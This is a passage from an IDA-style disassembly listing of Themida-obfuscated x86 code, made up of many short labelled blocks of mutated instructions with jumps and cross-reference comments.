		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55C7E7
; ---------------------------------------------------------------------------


loc_55BE58:				; CODE XREF: Themida_:0055943Aj
		push	esp
		pop	eax
		jmp	loc_562101
; ---------------------------------------------------------------------------


loc_55BE5F:				; CODE XREF: Themida_:005512B3j
		sub	eax, 3B401C47h
		add	eax, esi
		add	eax, 3B401C47h
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	eax, 0D25E51h
		jmp	loc_55DC95
; ---------------------------------------------------------------------------


loc_55BE88:				; CODE XREF: Themida_:005528BAj
		mov	esp, [esp]
		jmp	loc_55BA27
; ---------------------------------------------------------------------------


loc_55BE90:				; CODE XREF: Themida_:00561C96j
		push	5E39h
		mov	[esp], edx
		push	edi
		push	0F82234Dh
		pop	edi
		push	eax
		mov	eax, 2472544Bh
		shl	eax, 3
		add	eax, 0F8D480EDh
		or	edi, eax
		pop	eax
		push	ecx
		jmp	loc_55C323
; ---------------------------------------------------------------------------


loc_55BEB6:				; CODE XREF: Themida_:0055E4F9j
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	ebx, 6
		sub	esp, 4
		jmp	loc_556C85
; ---------------------------------------------------------------------------


loc_55BECF:				; CODE XREF: Themida_:00561493j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5588E4
; ---------------------------------------------------------------------------


loc_55BEE6:				; CODE XREF: Themida_:00557461j
		add	ecx, 4
		jmp	loc_563056
; ---------------------------------------------------------------------------


loc_55BEF1:				; CODE XREF: Themida_:0055C31Ej
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_55FC0A
; ---------------------------------------------------------------------------


loc_55BF04:				; CODE XREF: Themida_:0055F2F3j
		mov	esp, [esp]
		jmp	loc_555757
; ---------------------------------------------------------------------------


loc_55BF0C:				; CODE XREF: Themida_:00562D87j
		sub	al, cl
		pop	ecx
		sub	al, 50h
		add	al, dh
		jmp	loc_55E2AE
; ---------------------------------------------------------------------------


loc_55BF18:				; CODE XREF: Themida_:0055DBA5j
		xor	ebp, 0A3A8BCC4h
		mov	ecx, ebp
		jmp	loc_555F55
; ---------------------------------------------------------------------------


loc_55BF25:				; CODE XREF: Themida_:0055248Fj
		mov	ebp, 1A5D286Bh
		add	ebp, 4E38DF5Eh
		sub	esi, ebp
		pop	ebp
		mov	edx, esi
		pop	esi
		add	edi, edx
		pop	edx
		add	edi, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 5FA8371Dh
		dec	ebp
		and	ebp, 3A5765C3h
		neg	ebp
		xor	ebp, 0E5FFDB04h
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_56424A
; ---------------------------------------------------------------------------


loc_55BF6D:				; CODE XREF: Themida_:0055D6BEj
		add	edx, eax
		jmp	loc_557227
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55BF7B:				; CODE XREF: Themida_:0055E1C3j
		push	ecx
		jmp	loc_56461C
; ---------------------------------------------------------------------------


loc_55BF81:				; CODE XREF: Themida_:005528FFj
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		jmp	loc_550E29
; ---------------------------------------------------------------------------


loc_55BF90:				; CODE XREF: Themida_:0055F1FDj
		pop	eax
		sub	word ptr [esp+2], 22D0h
		add	[esp+2], di
		add	word ptr [esp+2], 22D0h
		mov	di, [esp]
		jmp	loc_562065
; ---------------------------------------------------------------------------


loc_55BFAD:				; CODE XREF: Themida_:0055F73Cj
		pop	ebp
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		xchg	edx, [esp]
		pop	esp
		jmp	loc_554733
; ---------------------------------------------------------------------------


loc_55BFD5:				; CODE XREF: Themida_:0055C905j
		mov	esi, 66662C80h
		and	ebx, esi
		jmp	loc_56412D
; ---------------------------------------------------------------------------


loc_55BFE1:				; CODE XREF: Themida_:0055E1A1j
		add	esp, 4
		push	edi
		jmp	loc_55FE8E
; ---------------------------------------------------------------------------


loc_55BFEA:				; CODE XREF: Themida_:0055F896j
		pop	ebp
		sub	esi, 77C42039h
		add	esi, eax
		jmp	loc_55DD9F
; ---------------------------------------------------------------------------


loc_55BFF8:				; CODE XREF: Themida_:0055918Dj
		mov	eax, [esp]
		jmp	loc_550455
; ---------------------------------------------------------------------------


loc_55C000:				; CODE XREF: Themida_:00561750j
		add	esp, 4
		push	ebp
		mov	ebp, 6C410685h
		neg	ebp
		jmp	loc_553205
; ---------------------------------------------------------------------------


loc_55C013:				; CODE XREF: Themida_:00558BD8j
		mov	edx, 4
		sub	ecx, 2C153910h
		add	ecx, edx
		add	ecx, 2C153910h
		pop	edx
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_56473E
; ---------------------------------------------------------------------------


loc_55C039:				; CODE XREF: Themida_:0055112Cj
		mov	esp, [esp]
		push	ecx
		jmp	loc_552816
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	0F59h
		mov	[esp], esi
		push	7A5011ACh
		jmp	loc_55D6E9
; ---------------------------------------------------------------------------


loc_55C060:				; CODE XREF: Themida_:0055B0AEj
		add	edi, ecx
		jmp	loc_564064
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55C077:				; CODE XREF: Themida_:0055E784j
		mov	ebp, esi
		pop	esi
		not	ebp
		inc	ebp
		xor	ebp, 0E576CD11h
		and	ebx, ebp
		mov	ebp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_55D35B
; ---------------------------------------------------------------------------


loc_55C09C:				; CODE XREF: Themida_:0055C1D1j
		neg	ebx
		xor	ebx, 3D940BB0h
		add	ebx, 628D16E9h
		push	edi
		jmp	loc_562DC6
; ---------------------------------------------------------------------------


loc_55C0B0:				; CODE XREF: Themida_:00562CEBj
		shr	edx, 3
		jmp	loc_551DDF
; ---------------------------------------------------------------------------


loc_55C0B8:				; CODE XREF: Themida_:0055BD36j
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558224
; ---------------------------------------------------------------------------


loc_55C0D6:				; CODE XREF: Themida_:0056321Dj
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		xchg	edx, ebx
		jmp	loc_553A7F
; ---------------------------------------------------------------------------


loc_55C0EE:				; CODE XREF: Themida_:00558E3Dj
		pop	eax
		jmp	loc_55CF05
; ---------------------------------------------------------------------------


loc_55C0F4:				; CODE XREF: Themida_:005602FDj
		push	ebx
		jmp	loc_564CBC
; ---------------------------------------------------------------------------


loc_55C0FA:				; CODE XREF: Themida_:0056350Ej
		xor	cl, 0CCh
		push	ebx
		push	edx
		mov	dh, 0
		jmp	loc_55EBA0
; ---------------------------------------------------------------------------


loc_55C106:				; CODE XREF: Themida_:0055AB0Fj
		add	ebx, edi
		jmp	loc_559BF9
; ---------------------------------------------------------------------------


loc_55C10D:				; CODE XREF: Themida_:00555935j
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_5550F7
; ---------------------------------------------------------------------------


loc_55C116:				; CODE XREF: Themida_:005646E0j
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55DD8A
; ---------------------------------------------------------------------------


loc_55C127:				; CODE XREF: Themida_:00563CC3j
		add	esi, 158E6EDFh
		sub	eax, esi
		pop	esi
		shl	eax, 2
		inc	eax
		jmp	loc_553C14
; ---------------------------------------------------------------------------


loc_55C139:				; CODE XREF: Themida_:00554778j
		add	eax, 0B0BA803Eh
		push	577Eh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		push	eax
		push	edx
		mov	edx, 145E016Ah
		mov	eax, 4F9453EDh
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		add	dword ptr [esp+4], 3A6F468Dh
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 3A6F468Dh
		pop	eax
		mov	ecx, [esp]
		jmp	loc_552F18
; ---------------------------------------------------------------------------


loc_55C183:				; CODE XREF: Themida_:0055FC05j
		mov	edi, 1DF870EBh
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55F82B
; ---------------------------------------------------------------------------


loc_55C1A0:				; CODE XREF: Themida_:0055EBDFj
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_554983
; ---------------------------------------------------------------------------


loc_55C1BB:				; CODE XREF: Themida_:0055751Aj
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_555930
; ---------------------------------------------------------------------------


loc_55C1C8:				; CODE XREF: Themida_:0055F7E9j
		add	ebx, 1
		xor	ebx, 16AE40B5h
		jmp	loc_55C09C
; ---------------------------------------------------------------------------


loc_55C1D6:				; CODE XREF: Themida_:0055A180j
		add	edx, 4
		jmp	loc_56203B
; ---------------------------------------------------------------------------


loc_55C1E1:				; CODE XREF: Themida_:00552E90j
		mov	esi, 301F0712h
		add	ebx, esi
		pop	esi
		add	ebx, 456E0EABh
		add	ebx, 231644C3h
		sub	ebx, eax
		sub	ebx, 231644C3h
		sub	ebx, 456E0EABh
		jmp	loc_554726
; ---------------------------------------------------------------------------


loc_55C208:				; CODE XREF: Themida_:00557C6Ej
		add	edx, 0F2E10DCh
		jmp	loc_5654D4
; ---------------------------------------------------------------------------


loc_55C213:				; CODE XREF: Themida_:005645A1j
		mov	[esp], eax
		mov	eax, 74EB2484h
		neg	eax
		or	eax, 6A1D16A1h
		xor	eax, 450B2E67h
		and	eax, 3C792AC0h
		not	eax
		sub	eax, 3D6B157Bh
		mov	esi, eax
		jmp	loc_557AE7
; ---------------------------------------------------------------------------


loc_55C23A:				; CODE XREF: Themida_:00551882j
		mov	eax, 12234727h
		add	[esp+4], eax
		pop	eax
		jmp	loc_55FCF1
; ---------------------------------------------------------------------------


loc_55C249:				; CODE XREF: Themida_:00561F91j
		sub	al, bl
		add	al, 88h
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_56334A
; ---------------------------------------------------------------------------


loc_55C257:				; CODE XREF: Themida_:005592F1j
		add	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 52447B14h
		add	ebp, 1D13427Fh
		xor	ebp, 582E1C48h
		jmp	loc_55418C
; ---------------------------------------------------------------------------


loc_55C277:				; CODE XREF: Themida_:0055F92Bj
		mul	cx
		push	small 6DA7h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55C28A:				; CODE XREF: Themida_:0055676Ej
		push	806h
		jmp	loc_5527C3
; ---------------------------------------------------------------------------


loc_55C294:				; CODE XREF: Themida_:00561004j
		shr	ebp, 6
		add	ebp, 4DFE17DAh
		push	ebx
		mov	ebx, 22475F8Eh
		shr	ebx, 8
		shr	ebx, 6
		not	ebx
		shr	ebx, 8
		jmp	loc_5579F1
; ---------------------------------------------------------------------------


loc_55C2B3:				; CODE XREF: Themida_:00560FB9j
		sub	ebp, 0DE520D4h
		pop	ebx
		push	17B7h
		mov	[esp], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	8934F6h
		pop	edx
		jmp	loc_557EF3
; ---------------------------------------------------------------------------


loc_55C2E2:				; CODE XREF: Themida_:00560D65j
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	ebp
		mov	ebp, 95460F9h
		dec	ebp
		not	ebp
		neg	ebp
		sub	ebp, 7A2E50DAh
		xchg	esi, ebp
		not	esi
		xchg	esi, ebp
		add	ebp, 0E64010ACh
		mov	eax, ebp
		pop	ebp
		mov	ebp, 571A008Eh
		xor	ebp, eax
		mov	eax, [esp]
		push	4E8Dh
		mov	[esp], edi
		jmp	loc_55BEF1
; ---------------------------------------------------------------------------


loc_55C323:				; CODE XREF: Themida_:0055BEB1j
		mov	ecx, 26E6148h
		push	ebp
		mov	ebp, 20E6DAF5h
		jmp	loc_550C72
; ---------------------------------------------------------------------------


loc_55C333:				; CODE XREF: Themida_:0055F958j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_551E09
; ---------------------------------------------------------------------------


loc_55C345:				; CODE XREF: Themida_:005611E7j
		or	ch, 9Eh
		add	ch, 1Fh
		jmp	loc_559A55
; ---------------------------------------------------------------------------


loc_55C350:				; CODE XREF: Themida_:00552216j
		pop	esi
		jmp	loc_555035
; ---------------------------------------------------------------------------


loc_55C356:				; CODE XREF: Themida_:0055C71Aj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 0DE03AF9h
		jmp	loc_55CEE6
; ---------------------------------------------------------------------------


loc_55C369:				; CODE XREF: Themida_:0055894Bj
		shl	edi, 1
		add	edi, 0D4CBEFA4h
		mov	ebp, edi
		pop	edi
		sub	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_550EA7
; ---------------------------------------------------------------------------


loc_55C37E:				; CODE XREF: Themida_:0055A1E0j
		add	ebp, ebx
		add	ebp, 74E13A9Dh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5632B4
; ---------------------------------------------------------------------------


loc_55C392:				; CODE XREF: Themida_:0055AED5j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_557A97
; ---------------------------------------------------------------------------


loc_55C3A2:				; CODE XREF: Themida_:00559C19j
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_5641C6
; ---------------------------------------------------------------------------


loc_55C3AD:				; CODE XREF: Themida_:00552E71j
		pop	ecx
		push	4FCAh
		mov	[esp], ecx
		push	eax
		push	ebx
		mov	bh, 30h
		dec	bh
		or	bh, 0A9h
		and	bh, 70h
		not	bh
		sub	bh, 4Ah
		mov	al, bh
		pop	ebx
		mov	ch, al
		mov	eax, [esp]
		add	esp, 4
		push	1C0Ch
		mov	[esp], ecx
		not	byte ptr [esp+1]
		pop	ecx
		push	1961h
		mov	[esp], ebx
		push	eax
		jmp	loc_557F94
; ---------------------------------------------------------------------------


loc_55C3ED:				; CODE XREF: Themida_:005549CFj
		sub	eax, 0BD017210h
		sub	ebp, eax
		pop	eax
		mov	edi, ebp
		jmp	loc_564CF7
; ---------------------------------------------------------------------------


loc_55C3FC:				; CODE XREF: Themida_:00558A03j
		pop	esp
		add	edx, 7CCC21D8h
		push	2D9Bh
		mov	[esp], ebp
		jmp	loc_55B78E
; ---------------------------------------------------------------------------


loc_55C410:				; CODE XREF: Themida_:0055A7CEj
		mov	cl, dl
		jmp	loc_55AC34
; ---------------------------------------------------------------------------


loc_55C417:				; CODE XREF: Themida_:0055077Dj
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		push	7906h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_552B2E
; ---------------------------------------------------------------------------


loc_55C43C:				; CODE XREF: Themida_:00553309j
		mov	esp, [esp]
		mov	cx, [esp]
		push	132Dh
		mov	[esp], ecx
		mov	ecx, esp
		push	esi
		jmp	loc_563089
; ---------------------------------------------------------------------------


loc_55C453:				; CODE XREF: Themida_:00564245j
		mov	ebp, 42A7428Ch
		add	ebx, ebp
		pop	ebp
		jmp	loc_5584B5
; ---------------------------------------------------------------------------


loc_55C460:				; CODE XREF: Themida_:0055E013j
		push	edi
		mov	edi, 35B37157h
		push	ebx
		mov	ebx, edi
		mov	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		or	esi, 4F917BD5h
		push	edi
		push	ebp
		push	esi
		mov	esi, 7FB37BD3h
		jmp	loc_5509A5
; ---------------------------------------------------------------------------


loc_55C485:				; CODE XREF: Themida_:00554187j
		push	dword ptr [esp]
		jmp	loc_55A64D
; ---------------------------------------------------------------------------


loc_55C48D:				; CODE XREF: Themida_:0055173Aj
		mov	bl, 0B0h
		sub	bl, 1
		add	bl, 0FFh
		push	edx
		mov	dl, 0Fh
		neg	dl
		dec	dl
		add	dl, 0AAh
		sub	bl, dl
		pop	edx
		mov	dh, bl
		pop	ebx
		and	dh, 55h
		dec	dh
		jmp	loc_5519B8
; ---------------------------------------------------------------------------


loc_55C4AF:				; CODE XREF: Themida_:0055F39Ej
		add	edi, 4
		push	edi
		jmp	loc_5577D7
; ---------------------------------------------------------------------------


loc_55C4B8:				; CODE XREF: Themida_:0056439Ej
		push	esi
		push	ebp
		jmp	loc_557D8F
; ---------------------------------------------------------------------------


loc_55C4BF:				; CODE XREF: Themida_:00564A70j
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_55DF7F
; ---------------------------------------------------------------------------


loc_55C4DA:				; CODE XREF: Themida_:00552223j
		add	ecx, 0F3F5301h
		jmp	loc_564D49
; ---------------------------------------------------------------------------


loc_55C4E5:				; CODE XREF: Themida_:0055CC89j
		xor	edx, ecx
		pop	ecx
		sub	edx, 53044392h
		jmp	loc_5558AF
; ---------------------------------------------------------------------------


loc_55C4F3:				; CODE XREF: Themida_:0055ED7Ej
		or	edx, 4F143DF9h
		dec	edx
		xor	edx, 17E9302Dh
		inc	edx
		xor	edx, 0CCD68966h
		xor	esi, edx
		jmp	loc_55B372
; ---------------------------------------------------------------------------


loc_55C50E:				; CODE XREF: Themida_:00557459j
		xor	ecx, 5688331Ah
		add	eax, ecx
		jmp	loc_561877
; ---------------------------------------------------------------------------


loc_55C51B:				; CODE XREF: Themida_:00559893j
		dec	ah
		not	ah
		dec	ah
		add	ah, 0C2h
		add	ah, 0CDh
		xor	cl, ah
		pop	eax
		jmp	loc_55B825
; ---------------------------------------------------------------------------


loc_55C52F:				; CODE XREF: Themida_:0055EB9Bj
		push	ecx
		mov	ecx, esp
		jmp	loc_560ED9
; ---------------------------------------------------------------------------


loc_55C537:				; CODE XREF: Themida_:0055D5C0j
		push	2DE130A1h
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 11B94F4Ah
		sub	ebx, 3C587FE7h
		mov	ecx, ebx
		pop	ebx
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_554B89
; ---------------------------------------------------------------------------


loc_55C55B:				; CODE XREF: Themida_:00563D20j
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		jmp	loc_558404
; ---------------------------------------------------------------------------


loc_55C56A:				; CODE XREF: Themida_:0055235Ej
		push	1879h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 7C0C04FBh
		mov	ebp, ecx
		jmp	loc_555153
; ---------------------------------------------------------------------------


loc_55C57F:				; CODE XREF: Themida_:00559838j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	ebx, 408C6DAEh
		mov	dx, [esp]
		push	edi
		jmp	loc_5531E9
; ---------------------------------------------------------------------------


loc_55C599:				; CODE XREF: Themida_:0055C9F0j
		xor	ebp, [esp]
		jmp	loc_561409
; ---------------------------------------------------------------------------


loc_55C5A1:				; CODE XREF: Themida_:00552B1Cj
		push	535E7789h
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_5580BB
; ---------------------------------------------------------------------------


loc_55C5B5:				; CODE XREF: Themida_:0055839Aj
		add	edx, esi
		add	edx, 24AE38A1h
		jmp	loc_552C76
; ---------------------------------------------------------------------------


loc_55C5C2:				; CODE XREF: Themida_:005589F8j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55C5C7:				; CODE XREF: Themida_:00561E9Aj
		pop	esp
		or	eax, eax
		jmp	loc_55F5BE
; ---------------------------------------------------------------------------


loc_55C5CF:				; CODE XREF: Themida_:0055D35Ej
		pop	esp
		push	edi
		jmp	loc_558DC9
; ---------------------------------------------------------------------------


loc_55C5D6:				; CODE XREF: Themida_:0055BD70j
		pop	esp
		push	eax
		mov	eax, esp
		jmp	loc_550846
; ---------------------------------------------------------------------------


loc_55C5DF:				; CODE XREF: Themida_:0055B116j
		push	3556h
		mov	[esp], ebx
		mov	bh, ch
		jmp	loc_55192A
; ---------------------------------------------------------------------------


loc_55C5EE:				; CODE XREF: Themida_:005605AAj
		sub	eax, 7BC02B91h
		add	eax, edx
		jmp	loc_552164
; ---------------------------------------------------------------------------


loc_55C5FA:				; CODE XREF: Themida_:005591E1j
		add	edi, 4
		push	ebp
		mov	ebp, 6D092853h
		add	ebp, 92F6D7B1h
		add	edi, ebp
		pop	ebp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		mov	ch, al
		mov	bl, ch
		pop	ecx
		mov	eax, [esp]
		jmp	loc_554851
; ---------------------------------------------------------------------------


loc_55C629:				; CODE XREF: Themida_:0055773Bj
		mov	edi, 138E6D81h
		xor	edi, 23966702h
		push	esi
		mov	esi, 541877B9h
		sub	edi, esi
		pop	esi
		jmp	loc_565626
; ---------------------------------------------------------------------------


loc_55C642:				; CODE XREF: Themida_:0055076Fj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_56517D
; ---------------------------------------------------------------------------


loc_55C658:				; CODE XREF: Themida_:0055B77Ej
		inc	byte ptr [esp]
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55C661:				; CODE XREF: Themida_:0056511Fj
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_552EB7
; ---------------------------------------------------------------------------


loc_55C66A:				; CODE XREF: Themida_:00552399j
		push	ebp
		mov	ebp, 1C621193h
		add	edx, ebp
		pop	ebp
		sub	edx, 6132570Fh
		sub	edx, eax
		add	edx, 6132570Fh
		push	ebp
		jmp	loc_5600BD
; ---------------------------------------------------------------------------


loc_55C687:				; CODE XREF: Themida_:00550885j
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	3F506EBAh
		pop	ecx
		sub	ecx, 1B3F557Eh
		push	ecx
		xor	dword ptr [esp], 1A633F7Ch
		pop	ebx
		xor	ebx, 1A633F7Ch
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, 2411193Eh
		push	ecx
		push	2DDB6324h
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 58AC0216h
		sub	edi, ecx
		add	edi, 58AC0216h
		pop	ecx
		add	edi, ebx
		push	1DE9h
		mov	[esp], eax
		mov	eax, 2DDB6324h
		push	eax
		mov	eax, 620B267Eh
		add	edi, eax
		pop	eax
		add	edi, eax
		sub	edi, 620B267Eh
		mov	eax, [esp]
		jmp	loc_558D57
; ---------------------------------------------------------------------------


loc_55C6FE:				; CODE XREF: Themida_:00556D22j
		mov	edx, 42B61AC0h
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_55C356
; ---------------------------------------------------------------------------


loc_55C71F:				; CODE XREF: Themida_:0055316Ej
		add	esp, 4
		push	4897h
		mov	[esp], edi
		push	ebx
		jmp	loc_551CEE
; ---------------------------------------------------------------------------


loc_55C733:				; CODE XREF: Themida_:0055D076j
		sub	cl, 4Ch
		pop	eax
		add	cl, 0FFh
		neg	cl
		add	cl, 9Bh
		jmp	loc_55B6EF
; ---------------------------------------------------------------------------


loc_55C744:				; CODE XREF: Themida_:00552FACj
		mov	[esp], esi
		mov	esi, 0A0E1A0Ah
		add	esi, 47F67023h
		dec	esi
		sub	esi, 3F997EDBh
		add	ebx, esi
		pop	esi
		pop	ebp
		jmp	loc_561A7C
; ---------------------------------------------------------------------------


loc_55C762:				; CODE XREF: Themida_:00563322j
		sub	eax, 0D27D8603h
		jmp	loc_550D60
; ---------------------------------------------------------------------------


loc_55C76C:				; CODE XREF: Themida_:00555D21j
		mov	edi, 600F5C72h
		sub	dword ptr [esp+4], 11856538h
		add	[esp+4], edi
		add	dword ptr [esp+4], 11856538h
		jmp	loc_55884A
; ---------------------------------------------------------------------------


loc_55C78A:				; CODE XREF: Themida_:0056009Bj
		push	0
		sub	[esp], ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 1
		not	ebp
		jmp	loc_55396B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_550E77
; ---------------------------------------------------------------------------


loc_55C7B1:				; CODE XREF: Themida_:0055F188j
		push	esi
		mov	esi, 7A402A86h
		inc	esi
		inc	esi
		xor	esi, 32BA234Dh
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 12D1479Fh
		push	esi
		jmp	loc_560A18
; ---------------------------------------------------------------------------


loc_55C7D6:				; CODE XREF: Themida_:005567C6j
		add	ebx, 4
		add	ebx, 2
		jmp	loc_55A320
; ---------------------------------------------------------------------------


loc_55C7E7:				; CODE XREF: Themida_:0055BE53j
		push	7E46h
		jmp	loc_55F9D4
; ---------------------------------------------------------------------------


loc_55C7F1:				; CODE XREF: Themida_:00551C52j
		sub	esp, 4
		jmp	loc_5576FB
; ---------------------------------------------------------------------------


loc_55C7F9:				; CODE XREF: Themida_:0055A214j
		pop	ebp
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebx
		jmp	loc_5610D9
; ---------------------------------------------------------------------------


loc_55C80B:				; CODE XREF: Themida_:00559963j
		add	ah, ch
		push	dword ptr [esp]
		jmp	loc_556F3B
; ---------------------------------------------------------------------------


loc_55C815:				; CODE XREF: Themida_:0056032Aj
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5560F2
; ---------------------------------------------------------------------------


loc_55C83B:				; CODE XREF: Themida_:00552F3Ej
		push	ecx
		mov	ecx, 21702BF4h
		shr	ecx, 6
		add	ecx, 0FF7A3F55h
		add	edi, ecx
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		xor	dword ptr [esp], 67F7191Ch
		pop	ebx
		xor	ebx, 67F7191Ch
		jmp	loc_552606
; ---------------------------------------------------------------------------


loc_55C86D:				; CODE XREF: Themida_:0055B651j
		push	dword ptr [esp]
		jmp	loc_55D2A6
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	2A3Ch
		mov	[esp], ecx
		jmp	loc_560181
; ---------------------------------------------------------------------------


loc_55C889:				; CODE XREF: Themida_:00553F4Ej
		add	eax, 37EF157Bh
		jmp	loc_5561F6
; ---------------------------------------------------------------------------


loc_55C893:				; CODE XREF: Themida_:0055EE2Cj
		xchg	ebx, [esp]
		pop	esp
		push	edi
		push	1C604127h
		pop	edi
		sub	[esp+8], edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	[esp+4], edi
		jmp	loc_56173C
; ---------------------------------------------------------------------------


loc_55C8B2:				; CODE XREF: Themida_:005583F6j
		mov	edi, ebx
		jmp	loc_556B4B
; ---------------------------------------------------------------------------


loc_55C8B9:				; CODE XREF: Themida_:00559246j
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_552E0D
; ---------------------------------------------------------------------------


loc_55C8C7:				; CODE XREF: Themida_:005560D8j
		xchg	ebp, [esp]
		jmp	loc_562D06
; ---------------------------------------------------------------------------


loc_55C8CF:				; CODE XREF: Themida_:00558BDEj
		mov	ebp, 0D9C00004h
		jmp	loc_5578D3
; ---------------------------------------------------------------------------


loc_55C8D9:				; CODE XREF: Themida_:0055F4EDj
		sub	esp, 4
		jmp	loc_550A10
; ---------------------------------------------------------------------------


loc_55C8E1:				; CODE XREF: Themida_:00555F9Fj
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5594AD
; ---------------------------------------------------------------------------


loc_55C8EA:				; CODE XREF: Themida_:00554F0Aj
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_553845
		push	dword ptr [edi+1Ch]
		push	ebx
		mov	ebx, 103A1942h
		or	ebx, 390A1352h
		push	esi
		jmp	loc_55BFD5
; ---------------------------------------------------------------------------


loc_55C90A:				; CODE XREF: Themida_:0055ACC2j
		push	esi
		push	esp
		pop	esi
		push	ebx
		jmp	loc_558567
; ---------------------------------------------------------------------------


loc_55C913:				; CODE XREF: Themida_:00558124j
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55BACB
; ---------------------------------------------------------------------------


loc_55C91E:				; CODE XREF: Themida_:0055AEC3j
		pop	edx
		add	edi, 1589199Ah
		sub	ebx, edi
		mov	edi, [esp]
		push	5D70h
		mov	[esp], eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5633D4
